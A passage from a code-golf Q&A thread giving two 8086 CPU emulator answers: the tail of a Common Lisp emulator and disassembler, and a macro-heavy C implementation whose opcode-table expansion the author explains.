(6 (parse-group1-byte ,opcode xor-operation mod-bits r/m-bits))\n (7 (parse-group1-byte ,opcode cmp-operation mod-bits r/m-bits))))\n;; Memory and register mov/xchg\n(defun xchg-memory-register (opcode)\n (let ((is-word (oddp opcode)))\n (with-mod-r/m-byte\n (if is-word\n (xchg (register (bits->word-reg reg-bits)) (indirect-address mod-bits r/m-bits is-word))\n (xchg (byte-register (bits->byte-reg reg-bits)) (indirect-address mod-bits r/m-bits is-word))))))\n(defmacro mov-immediate-to-memory (mod-bits r/m-bits is-word)\n `(if ,is-word\n (mov (next-word-ahead-of-indirect-address ,mod-bits ,r/m-bits) (indirect-address ,mod-bits ,r/m-bits t))\n (mov (next-instruction-ahead-of-indirect-address ,mod-bits ,r/m-bits) (indirect-address ,mod-bits ,r/m-bits nil))))\n(defmacro parse-group11-opcode (opcode)\n `(parse-group-opcode\n (0 (parse-group-byte-pair ,opcode mov-immediate-to-memory mod-bits r/m-bits))))\n(defmacro parse-mov-opcode (opcode)\n `(let ((mod-4 (mod ,opcode 4)))\n (with-mod-r/m-byte\n (case mod-4\n (0\n (mov (byte-register (bits->byte-reg reg-bits)) (indirect-address mod-bits r/m-bits nil)))\n (1\n (mov (register (bits->word-reg reg-bits)) (indirect-address mod-bits r/m-bits t)))\n (2\n (mov (indirect-address mod-bits r/m-bits nil) (byte-register (bits->byte-reg reg-bits))))\n (3\n (mov (indirect-address mod-bits r/m-bits t) (register (bits->word-reg reg-bits))))))))\n;; Group 4/5 (inc/dec on EAs)\n(defmacro inc-indirect (mod-bits r/m-bits is-word)\n `(inc (indirect-address ,mod-bits ,r/m-bits ,is-word) ,is-word))\n(defmacro dec-indirect (mod-bits r/m-bits is-word)\n `(dec (indirect-address ,mod-bits ,r/m-bits ,is-word) ,is-word))\n(defmacro parse-group4/5-opcode (opcode)\n `(parse-group-opcode\n (0 (parse-group-byte-pair ,opcode inc-indirect mod-bits r/m-bits))\n (1 (parse-group-byte-pair ,opcode dec-indirect mod-bits r/m-bits))))\n;;; Opcode parsing\n(defun in-paired-byte-block-p (opcode block)\n (= (truncate (/ opcode 2)) (/ block 2)))\n(defun in-4-byte-block-p (opcode block)\n (= (truncate (/ opcode 4)) (/ block 4)))\n(defun in-8-byte-block-p (opcode block)\n (= (truncate (/ opcode 8)) (/ block 8)))\n(defun in-6-byte-block-p (opcode block)\n (and (= (truncate (/ opcode 8)) (/ block 8)) (< (mod opcode 8) 6)))\n(defun parse-opcode (opcode)\n \"Parse an opcode.\"\n (cond\n ((not opcode) (return-from parse-opcode nil))\n ((= opcode #xf4) (return-from parse-opcode '(\"hlt\")))\n ((in-8-byte-block-p opcode #x40) (with-one-byte-opcode-register opcode #'inc-register))\n ((in-8-byte-block-p opcode #x48) (with-one-byte-opcode-register opcode #'dec-register))\n ((in-8-byte-block-p opcode #x50) (with-one-byte-opcode-register opcode #'push-register))\n ((in-8-byte-block-p opcode #x58) (with-one-byte-opcode-register opcode #'pop-to-register))\n ((in-8-byte-block-p opcode #x90) (with-one-byte-opcode-register opcode #'xchg-register))\n ((in-8-byte-block-p opcode #xb0) (mov-byte-to-register opcode))\n ((in-8-byte-block-p opcode #xb8) (with-one-byte-opcode-register opcode #'mov-word-to-register))\n ((= opcode #xf8) (clear-carry-flag))\n ((= opcode #xf9) (set-carry-flag))\n ((= opcode #xeb) (jmp-short))\n ((in-paired-byte-block-p opcode #x72) (jmp-short-conditionally opcode (flag-p :cf) \"b\"))\n ((in-paired-byte-block-p opcode #x74) (jmp-short-conditionally opcode (flag-p :zf) \"z\"))\n ((in-paired-byte-block-p opcode #x76) (jmp-short-conditionally opcode (or (flag-p :cf) (flag-p :zf)) \"be\"))\n ((in-paired-byte-block-p opcode #x78) (jmp-short-conditionally opcode (flag-p :sf) \"s\"))\n ((= opcode #xe8) (call-near))\n ((= opcode #xc3) (ret-from-call))\n ((in-6-byte-block-p opcode #x00) (parse-alu-opcode opcode add-without-carry))\n ((in-6-byte-block-p opcode #x08) (parse-alu-opcode opcode or-operation))\n ((in-6-byte-block-p opcode #x10) (parse-alu-opcode opcode add-with-carry))\n ((in-6-byte-block-p opcode #x18) (parse-alu-opcode opcode sub-with-borrow))\n ((in-6-byte-block-p opcode #x20) (parse-alu-opcode opcode and-operation))\n ((in-6-byte-block-p opcode #x28) (parse-alu-opcode opcode sub-without-borrow))\n ((in-6-byte-block-p opcode #x30) (parse-alu-opcode opcode xor-operation))\n ((in-6-byte-block-p opcode #x38) (parse-alu-opcode opcode cmp-operation))\n ((in-4-byte-block-p opcode #x80) (parse-group1-opcode opcode))\n ((in-4-byte-block-p opcode #x88) (parse-mov-opcode opcode))\n ((in-paired-byte-block-p opcode #x86) (xchg-memory-register opcode))\n ((in-paired-byte-block-p opcode #xc6) (parse-group11-opcode opcode))\n ((in-paired-byte-block-p opcode #xfe) (parse-group4/5-opcode opcode))))\n;;; Main functions\n(defun execute-instructions ()\n \"Loop through loaded instructions.\"\n (loop\n for ret = (parse-opcode (next-instruction))\n until (equal ret '(\"hlt\"))\n do (advance-ip)\n finally (return t)))\n(defun disasm-instructions (instr-length)\n \"Disassemble code.\"\n (loop\n for ret = (parse-opcode (next-instruction))\n collecting ret into disasm\n until (= *ip* instr-length)\n do (advance-ip)\n finally (return disasm)))\n(defun loop-instructions (instr-length)\n (if *disasm*\n (disasm-instructions instr-length)\n (execute-instructions)))\n(defun load-instructions-from-file (file)\n (with-open-file (in file :element-type '(unsigned-byte 8))\n (let ((instrs (make-array (file-length in) :element-type '(unsigned-byte 8) :initial-element 0 :adjustable t)))\n (read-sequence instrs in)\n instrs)))\n(defun load-instructions (&key (file nil))\n (if file\n (load-instructions-from-file file)\n #()))\n(defun print-video-ram (&key (width 80) (height 25) (stream t) (newline nil))\n (dotimes (line height)\n (dotimes (column width)\n (let ((char-at-cell (byte-in-ram (+ #x8000 (* line 80) column) *ram*)))\n (if (zerop char-at-cell)\n (format stream \"~a\" #\\Space)\n (format stream \"~a\" (code-char char-at-cell)))))\n (if newline (format stream \"~%\"))))\n(defun disasm (&key (file nil))\n (setf *disasm* t)\n (loop-instructions (load-instructions-into-ram (load-instructions :file file))))\n(defun main (&key (file nil) (display nil) (stream t) (newline nil))\n (setf *disasm* nil)\n (loop-instructions (load-instructions-into-ram (load-instructions :file file)))\n (when display\n (print-video-ram :stream stream :newline newline)))\n```\nHere's the output in Emacs:\n[![Emacs window with two panes, a section of the Lisp source on the left and the REPL output with the required content on the right.](https://i.stack.imgur.com/pbZYM.png)](https://i.stack.imgur.com/pbZYM.png)\nI want to highlight three main features. This code makes heavy use of macros when implementing instructions, such as `mov`, `xchg`, and the artithmetic operations. Each instruction includes a `disasm-instr` macro call. This implements the disassembly alongside the actual code using an if over a global variable set at runtime. I am particularly proud of the destination-agnostic approach used for writing values to registers and indirect addresses. The macros implementing the instructions don't care about the destination, since the forms spliced in for either possibility will work with the generic `setf` Common Lisp macro.\nThe code can be found at [my GitHub repo](https://github.com/happy5214/cl8086). Look for the \"codegolf\" branch, as I've already started implementing other features of the 8086 in master. I have already implemented the overflow and parity flags, along with the FLAGS register.\nThere are three operations in this not in the 8086, the `0x82` and `0x83` versions of the logical operators. This was caught very late, and it would be quite messy to remove those operations.\nI would like to thank @j-a for his Python version, which inspired me early on in this venture.\n[Answer]\n## C - ~~319~~ 348 lines\nThis is a more or less direct translation of my Postscript program to C. Of course the stack usage is replaced with explicit variables. An instruction's fields are broken up into the variables `o` - instruction opcode byte, `d` - direction field, `w` - width field. If it's a \"mod-reg-r/m\" instruction, the *m-r-rm* byte is read into `struct rm r`. Decoding the reg and r/m fields proceeds in two steps: calculating the pointer to the data and loading the data, reusing the same variable. So for something like `ADD AX,BX`, first x is a pointer to ax and y is a pointer to bx, then x is the contents (ax) and y is the contents (bx). There's lots of casting required to reuse the variable for different types like this.\nThe opcode byte is decoded with a table of function pointers. Each function body is composed using macros for re-usable pieces. The `DW` macro is present in all opcode functions and decodes the `d` and `w` variables from the `o` opcode byte. The `RMP` macro performs the first stage of decoding the \"m-r-rm\" byte, and `LDXY` performs the second stage. Opcodes which store a result use the `p` variable to hold the pointer to the result location and the `z` variable to hold the result value. Flags are calculated after the `z` value has been computed. The `INC` and `DEC` operations save the carry flag before using the generic `MATHFLAGS` function (as part of the `ADD` or `SUB` submacro) and restore it afterwords, to preserve the Carry.\n*Edit: bugs fixed!* \n*Edit: expanded and commented.* When `trace==0` it now outputs an ANSI move-to-0,0 command when dumping the video. So it better simulates an actual display. The `BIGENDIAN` thing (that didn't even work) has been removed. It relies in some places on little-endian byte order, but I plan to fix this in the next revision. Basically, all pointer access needs to go through the `get_` and `put_` functions which explicitly (de)compose the bytes in LE order.\n```\n#include\n#include\n#include\n#include\n#include\n#include\n#include\n#define P printf\n#define R return\n#define T typedef\nT intptr_t I; T uintptr_t U;\nT short S; T unsigned short US;\nT signed char C; T unsigned char UC; T void V; // to make everything shorter\nU o,w,d,f; // opcode, width, direction, extra temp variable (was initially for a flag, hence 'f')\nU x,y,z; // left operand, right operand, result\nvoid *p; // location to receive result\nUC halt,debug=0,trace=0,reg[28],null[2],mem[0xffff]={ // operating flags, register memory, RAM\n 1, (3<<6), // ADD ax,ax\n 1, (3<<6)+(4<<3), // ADD ax,sp\n 3, (3<<6)+(4<<3), // ADD sp,ax\n 0xf4 //HLT\n};\n// register declaration and initialization\n#define H(_)_(al)_(ah)_(cl)_(ch)_(dl)_(dh)_(bl)_(bh)\n#define X(_)_(ax) _(cx) _(dx) _(bx) _(sp)_(bp)_(si)_(di)_(ip)_(fl)\n#define SS(_)_(cs)_(ds)_(ss)_(es)\n#define HD(_)UC*_; // half-word regs declared as unsigned char *\n#define XD(_)US*_; // full-word regs declared as unsigned short *\n#define HR(_)_=(UC*)(reg+i++); // init and increment by one\n#define XR(_)_=(US*)(reg+i);i+=2; // init and increment by two\nH(HD)X(XD)SS(XD)V init(){I i=0;H(HR)i=0;X(XR)SS(XR)} // declare and initialize register pointers\nenum { CF=1<<0, PF=1<<2, AF=1<<4, ZF=1<<6, SF=1<<7, OF=1<<11 };\n#define HP(_)P(#_ \":%02x \",*_); // dump a half-word reg as zero-padded hex\n#define XP(_)P(#_ \":%04x \",*_); // dump a full-word reg as zero-padded hex\nV dump(){ //H(HP)P(\"\\n\");\n P(\"\\n\"); X(XP)\n if(trace)P(\"%s %s %s %s \",*fl&CF?\"CA\":\"NC\",*fl&OF?\"OV\":\"NO\",*fl&SF?\"SN\":\"NS\",*fl&ZF?\"ZR\":\"NZ\");\n P(\"\\n\"); // ^^^ crack flag bits into strings ^^^\n}\n// get and put into memory in a strictly little-endian format\nI get_(void*p,U w){R w? *(UC*)p + (((UC*)p)[1]<<8) :*(UC*)p;}\nV put_(void*p,U x,U w){ if(w){ *(UC*)p=x; ((UC*)p)[1]=x>>8; }else *(UC*)p=x; }\n// get byte or word through ip, incrementing ip\nUC fetchb(){ U x = get_(mem+(*ip)++,0); if(trace)P(\"%02x(%03o) \",x,x); R x; }\nUS fetchw(){I w=fetchb();R w|(fetchb()<<8);}\nT struct rm{U mod,reg,r_m;}rm; // the three fields of the mod-reg-r/m byte\nrm mrm(U m){ R(rm){ (m>>6)&3, (m>>3)&7, m&7 }; } // crack the mrm byte into fields\nU decreg(U reg,U w){ // decode the reg field, yielding a uintptr_t to the register (byte or word)\n if (w)R (U)((US*[]){ax,cx,dx,bx,sp,bp,si,di}[reg]);\n else R (U)((UC*[]){al,cl,dl,bl,ah,ch,dh,bh}[reg]); }\nU rs(US*x,US*y){ R get_(x,1)+get_(y,1); } // fetch and sum two full-words\nU decrm(rm r,U w){ // decode the r/m byte, yielding uintptr_t\n U x=(U[]){rs(bx,si),rs(bx,di),rs(bp,si),rs(bp,di),get_(si,1),get_(di,1),get_(bp,1),get_(bx,1)}[r.r_m];\n switch(r.mod){ case 0: if (r.r_m==6) R (U)(mem+fetchw()); break;\n case 1: x+=fetchb(); break;\n case 2: x+=fetchw(); break;\n case 3: R decreg(r.r_m,w); }\n R (U)(mem+x); }\n// opcode helpers\n // set d and w from o\n#define DW if(trace){ P(\"%s:\\n\",__func__); } \\\n d=!!(o&2); \\\n w=o&1;\n // fetch mrm byte and decode, setting x and y as pointers to args and p ptr to dest\n#define RMP rm r=mrm(fetchb());\\\n x=decreg(r.reg,w); \\\n y=decrm(r,w); \\\n if(trace>1){ P(\"x:%d\\n\",x); P(\"y:%d\\n\",y); } \\\n p=d?(void*)x:(void*)y;\n // fetch x and y values from x and y pointers\n#define LDXY \\\n x=get_((void*)x,w); \\\n y=get_((void*)y,w); \\\n if(trace){ P(\"x:%d\\n\",x); P(\"y:%d\\n\",y); }\n // normal mrm decode and load\n#define RM RMP LDXY\n // immediate to accumulator\n#define IA x=(U)(p=w?(UC*)ax:al); \\\n x=get_((void*)x,w); \\\n y=w?fetchw():fetchb();\n // flags set by logical operators\n#define LOGFLAGS *fl=0; \\\n *fl |= ( (z&(w?0x8000:0x80)) ?SF:0) \\\n | ( (z&(w?0xffff:0xff))==0 ?ZF:0) ;\n // additional flags set by math operators\n#define MATHFLAGS *fl |= ( (z&(w?0xffff0000:0xff00)) ?CF:0) \\\n | ( ((z^x)&(z^y)&(w?0x8000:0x80)) ?OF:0) \\\n | ( ((x^y^z)&0x10) ?AF:0) ;\n // store result to p ptr\n#define RESULT \\\n if(trace)P(w?\"->%04x \":\"->%02x \",z); \\\n put_(p,z,w);\n// operators, composed with helpers in the opcode table below\n // most of these macros will \"enter\" with x and y already loaded with operands\n#define PUSH(x) put_(mem+(*sp-=2),*(x),1)\n#define POP(x) *(x)=get_(mem+(*sp+=2)-2,1)\n#define ADD z=x+y; LOGFLAGS MATHFLAGS RESULT\n#define ADC x+=(*fl&CF); ADD\n#define SUB z=d?x-y:y-x; LOGFLAGS MATHFLAGS RESULT\n#define SBB d?y+=*fl&CF:(x+=*fl&CF); SUB\n#define CMP p=null; SUB\n#define AND z=x&y; LOGFLAGS RESULT\n#define OR z=x|y; LOGFLAGS RESULT\n#define XOR z=x^y; LOGFLAGS RESULT\n#define INC(r) w=1; d=1; p=(V*)r; x=(S)*r; y=1; f=*fl&CF; ADD *fl=(*fl&~CF)|f;\n#define DEC(r) w=1; d=1; p=(V*)r; x=(S)*r; y=1; f=*fl&CF; SUB *fl=(*fl&~CF)|f;\n#define F(f) !!(*fl&f)\n#define J(c) U cf=F(CF),of=F(OF),sf=F(SF),zf=F(ZF); y=(S)(C)fetchb(); \\\n if(trace)P(\"<%d> \", c); \\\n if(c)*ip+=(S)y;\n#define JN(c) J(!(c))\n#define IMM(a,b) rm r=mrm(fetchb()); \\\n p=(void*)(y=decrm(r,w)); \\\n a \\\n x=w?fetchw():fetchb(); \\\n b \\\n d=0; \\\n y=get_((void*)y,w); \\\n if(trace){ P(\"x:%d\\n\",x); P(\"y:%d\\n\",y); } \\\n if(trace){ P(\"%s \", (C*[]){\"ADD\",\"OR\",\"ADC\",\"SBB\",\"AND\",\"SUB\",\"XOR\",\"CMP\"}[r.reg]); } \\\n switch(r.reg){case 0:ADD break; \\\n case 1:OR break; \\\n case 2:ADC break; \\\n case 3:SBB break; \\\n case 4:AND break; \\\n case 5:SUB break; \\\n case 6:XOR break; \\\n case 7:CMP break; }\n#define IMMIS IMM(w=0;,w=1;x=(S)(C)x;)\n#define TEST z=x&y; LOGFLAGS MATHFLAGS\n#define XCHG f=x;z=y; LDXY if(w){*(US*)f=y;*(US*)z=x;}else{*(UC*)f=y;*(UC*)z=x;}\n#define MOV z=d?y:x; RESULT\n#define MOVSEG\n#define LEA RMP z=((UC*)y)-mem; RESULT\n#define NOP\n#define AXCH(r) x=(U)ax; y=(U)(r); w=1; XCHG\n#define CBW *ax=(S)(C)*al;\n#define CWD z=(I)(S)*ax; *dx=z>>16;\n#define CALL x=w?fetchw():(S)(C)fetchb(); PUSH(ip); (*ip)+=(S)x;\n#define WAIT\n#define PUSHF PUSH(fl)\n#define POPF POP(fl)\n#define SAHF x=*fl; y=*ah; x=(x&~0xff)|y; *fl=x;\n#define LAHF *ah=(UC)*fl;\n#define mMOV if(d){ x=get_(mem+fetchw(),w); if(w)*ax=x; else*al=x; } \\\n else { put_(mem+fetchw(),w?*ax:*al,w); }\n#define MOVS\n#define CMPS\n#define STOS\n#define LODS\n#define SCAS\n#define iMOVb(r) (*r)=fetchb();\n#define iMOVw(r) (*r)=fetchw();\n#define RET(v) POP(ip); if(v)*sp+=v*2;\n#define LES\n#define LDS\n#define iMOVm if(w){iMOVw((US*)y)}else{iMOVb((UC*)y)}\n#define fRET(v) POP(cs); RET(v)\n#define INT(v)\n#define INT0\n#define IRET\n#define Shift rm r=mrm(fetchb());\n#define AAM\n#define AAD\n#define XLAT\n#define ESC(v)\n#define LOOPNZ\n#define LOOPZ\n#define LOOP\n#define JCXZ\n#define IN\n#define OUT\n#define INv\n#define OUTv\n#define JMP x=fetchw(); *ip+=(S)x;\n#define sJMP x=(S)(C)fetchb(); *ip+=(S)x;\n#define FARJMP\n#define LOCK\n#define REP\n#define REPZ\n#define HLT halt=1\n#define CMC *fl=(*fl&~CF)|((*fl&CF)^1);\n#define NOT\n#define NEG\n#define MUL\n#define IMUL\n#define DIV\n#define IDIV\n#define Grp1 rm r=mrm(fetchb()); \\\n y=decrm(r,w); \\\n if(trace)P(\"%s \", (C*[]){}[r.reg]); \\\n switch(r.reg){case 0: TEST; break; \\\n case 2: NOT; break; \\\n case 3: NEG; break; \\\n case 4: MUL; break; \\\n case 5: IMUL; break; \\\n case 6: DIV; break; \\\n case 7: IDIV; break; }\n#define Grp2 rm r=mrm(fetchb()); \\\n y=decrm(r,w); \\\n if(trace)P(\"%s \", (C*[]){\"INC\",\"DEC\",\"CALL\",\"CALL\",\"JMP\",\"JMP\",\"PUSH\"}[r.reg]); \\\n switch(r.reg){case 0: INC((S*)y); break; \\\n case 1: DEC((S*)y); break; \\\n case 2: CALL; break; \\\n case 3: CALL; break; \\\n case 4: *ip+=(S)y; break; \\\n case 5: JMP; break; \\\n case 6: PUSH((S*)y); break; }\n#define CLC *fl=*fl&~CF;\n#define STC *fl=*fl|CF;\n#define CLI\n#define STI\n#define CLD\n#define STD\n// opcode table\n// An x-macro table of pairs (a, b) where a becomes the name of a void function(void) which\n// implements the opcode, and b comprises the body of the function (via further macro expansion)\n#define OP(_)\\\n/*dw:bf wf bt wt */ \\\n_(addbf, RM ADD) _(addwf, RM ADD) _(addbt, RM ADD) _(addwt, RM ADD) /*00-03*/\\\n_(addbi, IA ADD) _(addwi, IA ADD) _(pushes, PUSH(es)) _(popes, POP(es)) /*04-07*/\\\n_(orbf, RM OR) _(orwf, RM OR) _(orbt, RM OR) _(orwt, RM OR) /*08-0b*/\\\n_(orbi, IA OR) _(orwi, IA OR) _(pushcs, PUSH(cs)) _(nop0, ) /*0c-0f*/\\\n_(adcbf, RM ADC) _(adcwf, RM ADC) _(adcbt, RM ADC) _(adcwt, RM ADC) /*10-13*/\\\n_(adcbi, IA ADC) _(adcwi, IA ADC) _(pushss, PUSH(ss)) _(popss, POP(ss)) /*14-17*/\\\n_(sbbbf, RM SBB) _(sbbwf, RM SBB) _(sbbbt, RM SBB) _(sbbwt, RM SBB) /*18-1b*/\\\n_(sbbbi, IA SBB) _(sbbwi, IA SBB) _(pushds, PUSH(ds)) _(popds, POP(ds)) /*1c-1f*/\\\n_(andbf, RM AND) _(andwf, RM AND) _(andbt, RM AND) _(andwt, RM AND) /*20-23*/\\\n_(andbi, IA AND) _(andwi, IA AND) _(esseg, ) _(daa, ) /*24-27*/\\\n_(subbf, RM SUB) _(subwf, RM SUB) _(subbt, RM SUB) _(subwt, RM SUB) /*28-2b*/\\\n_(subbi, IA SUB) _(subwi, IA SUB) _(csseg, ) _(das, ) /*2c-2f*/\\\n_(xorbf, RM XOR) _(xorwf, RM XOR) _(xorbt, RM XOR) _(xorwt, RM XOR) /*30-33*/\\\n_(xorbi, IA XOR) _(xorwi, IA XOR) _(ssseg, ) _(aaa, ) /*34-37*/\\\n_(cmpbf, RM CMP) _(cmpwf, RM CMP) _(cmpbt, RM CMP) _(cmpwt, RM CMP) /*38-3b*/\\\n_(cmpbi, IA CMP) _(cmpwi, IA CMP) _(dsseg, ) _(aas, ) /*3c-3f*/\\\n_(incax, INC(ax)) _(inccx, INC(cx)) _(incdx, INC(dx)) _(incbx, INC(bx)) /*40-43*/\\\n_(incsp, INC(sp)) _(incbp, INC(bp)) _(incsi, INC(si)) _(incdi, INC(di)) /*44-47*/\\\n_(decax, DEC(ax)) _(deccx, DEC(cx)) _(decdx, DEC(dx)) _(decbx, DEC(bx)) /*48-4b*/\\\n_(decsp, DEC(sp)) _(decbp, DEC(bp)) _(decsi, DEC(si)) _(decdi, DEC(di)) /*4c-4f*/\\\n_(pushax, PUSH(ax)) _(pushcx, PUSH(cx)) _(pushdx, PUSH(dx)) _(pushbx, PUSH(bx)) /*50-53*/\\\n_(pushsp, PUSH(sp)) _(pushbp, PUSH(bp)) _(pushsi, PUSH(si)) _(pushdi, PUSH(di)) /*54-57*/\\\n_(popax, POP(ax)) _(popcx, POP(cx)) _(popdx, POP(dx)) _(popbx, POP(bx)) /*58-5b*/\\\n_(popsp, POP(sp)) _(popbp, POP(bp)) _(popsi, POP(si)) _(popdi, POP(di)) /*5c-5f*/\\\n_(nop1, ) _(nop2, ) _(nop3, ) _(nop4, ) _(nop5, ) _(nop6, ) _(nop7, ) _(nop8, ) /*60-67*/\\\n_(nop9, ) _(nopA, ) _(nopB, ) _(nopC, ) _(nopD, ) _(nopE, ) _(nopF, ) _(nopG, ) /*68-6f*/\\\n_(jo, J(of)) _(jno, JN(of)) _(jb, J(cf)) _(jnb, JN(cf)) /*70-73*/\\\n_(jz, J(zf)) _(jnz, JN(zf)) _(jbe, J(cf|zf)) _(jnbe, JN(cf|zf)) /*74-77*/\\\n_(js, J(sf)) _(jns, JN(sf)) _(jp, ) _(jnp, ) /*78-7b*/\\\n_(jl, J(sf^of)) _(jnl_, JN(sf^of)) _(jle, J((sf^of)|zf)) _(jnle,JN((sf^of)|zf))/*7c-7f*/\\\n_(immb, IMM(,)) _(immw, IMM(,)) _(immb1, IMM(,)) _(immis, IMMIS) /*80-83*/\\\n_(testb, RM TEST) _(testw, RM TEST) _(xchgb, RMP XCHG) _(xchgw, RMP XCHG) /*84-87*/\\\n_(movbf, RM MOV) _(movwf, RM MOV) _(movbt, RM MOV) _(movwt, RM MOV) /*88-8b*/\\\n_(movsegf, RM MOVSEG) _(lea, LEA) _(movsegt, RM MOVSEG) _(poprm,RM POP((US*)p))/*8c-8f*/\\\n_(nopH, ) _(xchgac, AXCH(cx)) _(xchgad, AXCH(dx)) _(xchgab, AXCH(bx)) /*90-93*/\\\n_(xchgasp, AXCH(sp)) _(xchabp, AXCH(bp)) _(xchgasi, AXCH(si)) _(xchadi, AXCH(di)) /*94-97*/\\\n_(cbw, CBW) _(cwd, CWD) _(farcall, ) _(wait, WAIT) /*98-9b*/\\\n_(pushf, PUSHF) _(popf, POPF) _(sahf, SAHF) _(lahf, LAHF) /*9c-9f*/\\\n_(movalb, mMOV) _(movaxw, mMOV) _(movbal, mMOV) _(movwax, mMOV) /*a0-a3*/\\\n_(movsb, MOVS) _(movsw, MOVS) _(cmpsb, CMPS) _(cmpsw, CMPS) /*a4-a7*/\\\n_(testaib, IA TEST) _(testaiw, IA TEST) _(stosb, STOS) _(stosw, STOS) /*a8-ab*/\\\n_(lodsb, LODS) _(lodsw, LODS) _(scasb, SCAS) _(scasw, SCAS) /*ac-af*/\\\n_(movali, iMOVb(al)) _(movcli, iMOVb(cl)) _(movdli, iMOVb(dl)) _(movbli, iMOVb(bl)) /*b0-b3*/\\\n_(movahi, iMOVb(ah)) _(movchi, iMOVb(ch)) _(movdhi, iMOVb(dh)) _(movbhi, iMOVb(bh)) /*b4-b7*/\\\n_(movaxi, iMOVw(ax)) _(movcxi, iMOVw(cx)) _(movdxi, iMOVw(dx)) _(movbxi, iMOVw(bx)) /*b8-bb*/\\\n_(movspi, iMOVw(sp)) _(movbpi, iMOVw(bp)) _(movsii, iMOVw(si)) _(movdii, iMOVw(di)) /*bc-bf*/\\\n_(nopI, ) _(nopJ, ) _(reti, RET(fetchw())) _(retz, RET(0)) /*c0-c3*/\\\n_(les, LES) _(lds, LDS) _(movimb, RMP iMOVm) _(movimw, RMP iMOVm) /*c4-c7*/\\\n_(nopK, ) _(nopL, ) _(freti, fRET(fetchw())) _(fretz, fRET(0)) /*c8-cb*/\\\n_(int3, INT(3)) _(inti, INT(fetchb())) _(int0, INT(0)) _(iret, IRET) /*cc-cf*/\\\n_(shiftb, Shift) _(shiftw, Shift) _(shiftbv, Shift) _(shiftwv, Shift) /*d0-d3*/\\\n_(aam, AAM) _(aad, AAD) _(nopM, ) _(xlat, XLAT) /*d4-d7*/\\\n_(esc0, ESC(0)) _(esc1, ESC(1)) _(esc2, ESC(2)) _(esc3, ESC(3)) /*d8-db*/\\\n_(esc4, ESC(4)) _(esc5, ESC(5)) _(esc6, ESC(6)) _(esc7, ESC(7)) /*dc-df*/\\\n_(loopnz, LOOPNZ) _(loopz, LOOPZ) _(loop, LOOP) _(jcxz, JCXZ) /*e0-e3*/\\\n_(inb, IN) _(inw, IN) _(outb, OUT) _(outw, OUT) /*e4-e7*/\\\n_(call, w=1; CALL) _(jmp, JMP) _(farjmp, FARJMP) _(sjmp, sJMP) /*e8-eb*/\\\n_(invb, INv) _(invw, INv) _(outvb, OUTv) _(outvw, OUTv) /*ec-ef*/\\\n_(lock, LOCK) _(nopN, ) _(rep, REP) _(repz, REPZ) /*f0-f3*/\\\n_(hlt, HLT) _(cmc, CMC) _(grp1b, Grp1) _(grp1w, Grp1) /*f4-f7*/\\\n_(clc, CLC) _(stc, STC) _(cli, CLI) _(sti, STI) /*f8-fb*/\\\n_(cld, CLD) _(std, STD) _(grp2b, Grp2) _(grp2w, Grp2) /*fc-ff*/\n#define OPF(a,b)void a(){DW b;} // generate opcode function\n#define OPN(a,b)a, // extract name\nOP(OPF)void(*tab[])()={OP(OPN)}; // generate functions, declare and populate fp table with names\nV clean(C*s){I i; // replace unprintable characters in 80-byte buffer with spaces\n for(i=0;i<80;i++)\n if(!isprint(s[i]))\n s[i]=' ';\n}\nV video(){I i; // dump the (cleaned) video memory to the console\n C buf[81]=\"\";\n if(!trace)P(\"\\e[0;0;f\");\n for(i=0;i<28;i++)\n memcpy(buf, mem+0x8000+i*80, 80),\n clean(buf),\n P(\"\\n%s\",buf);\n P(\"\\n\");\n}\nstatic I ct; // timer memory for period video dump\nV run(){while(!halt){if(trace)dump();\n if(!ct--){ct=10; video();}\n tab[o=fetchb()]();}}\nV dbg(){\n while(!halt){\n C c;\n if(!ct--){ct=10; video();}\n if(trace)dump();\n //scanf(\"%c\", &c);\n fgetc(stdin);\n //switch(c){\n //case '\\n':\n //case 's':\n tab[o=fetchb()]();\n //break;\n //}\n }\n}\nI load(C*f){struct stat s; FILE*fp; // load a file into memory at address zero\n R (fp=fopen(f,\"rb\"))\n && fstat(fileno(fp),&s) || fread(mem,s.st_size,1,fp); }\nI main(I c,C**v){\n init();\n if(c>1){ // if there's an argument\n load(v[1]); // load named file\n }\n *sp=0x100; // initialize stack pointer\n if(debug) dbg(); // if debugging, debug\n else run(); // otherwise, just run\n video(); // dump final video\n R 0;} // remember what R means? cf. line 9\n```\nUsing macros for the *stages* of the various operations makes for a very close semantic match to the way the postscript code operates in a purely sequential fashion. For example, the first four opcodes, 0x00-0x03 are all ADD instructions with varying direction (REG -> REG/MOD, REG <- REG/MOD) and byte/word sizes, so they are represented exactly the same in the function table.\n```\n_(addbf, RM ADD) _(addwf, RM ADD) _(addbt, RM ADD) _(addwt, RM ADD)\n```\nThe function table is instantiated with this macro:\n```\nOP(OPF)\n```\nwhich applies `OPF()` to each opcode representation. `OPF()` is defined as:\n```\n#define OPF(a,b)void a(){DW b;} // generate opcode function\n```\nSo, the first four opcodes expand (once) to:\n```\nvoid addbf(){ DW RM ADD ; }\nvoid addwf(){ DW RM ADD ; }\nvoid addbt(){ DW RM ADD ; }\nvoid addwt(){ DW RM ADD ; }\n```\nThese functions distinguish themselves by the result of the `DW` macro which determines direction and byte/word bits straight from the opcode byte. Expanding the body of one of these functions (once) produces:\n```\nif(trace){ P(\"%s:\\n\",__func__); } // DW: set d and w from o\nd=!!(o&2);\nw=o&1;\nRMP LDXY // RM: normal mrm decode and load\nz=x+y; LOGFLAGS MATHFLAGS RESULT // ADD\n;\n```\nWhere the main loop has already set the `o` variable:\n```\nwhile(!halt){tab[o=fetchb()]();}}\n```\nExpanding one more time gives all the \"meat\" of the opcode:\n```\n// DW: set d and w from o\nif(trace){ P(\"%s:\\n\",__func__); }\nd=!!(o&2);\nw=o&1;\n// RMP: fetch mrm byte and decode, setting x and y as pointers to args and p ptr to dest\nrm r=mrm(fetchb());\nx=decreg(r.reg,w);\ny=decrm(r,w);\nif(trace>1){ P(\"x:%d\\n\",x); P(\"y:%d\\n\",y); }\np=d?(void*)x:(void*)y;\n// LDXY: fetch x and y values from x and y pointers\nx=get_((void*)x,w);\ny=get_((void*)y,w);\nif(trace){ P(\"x:%d\\n\",x); P(\"y:%d\\n\",y); }\nz=x+y; // ADD\n// LOGFLAGS: flags set by logical operators\n*fl=0;\n*fl |= ( (z&(w?0x8000:0x80)) ?SF:0)\n | ( (z&(w?0xffff:0xff))==0 ?ZF:0) ;\n// MATHFLAGS: additional flags set by math operators\n*fl |= ( (z&(w?0xffff0000:0xff00)) ?CF:0)\n | ( ((z^x)&(z^y)&(w?0x8000:0x80)) ?OF:0)\n | ( ((x^y^z)&0x10) ?AF:0) ;\n// RESULT: store result to p 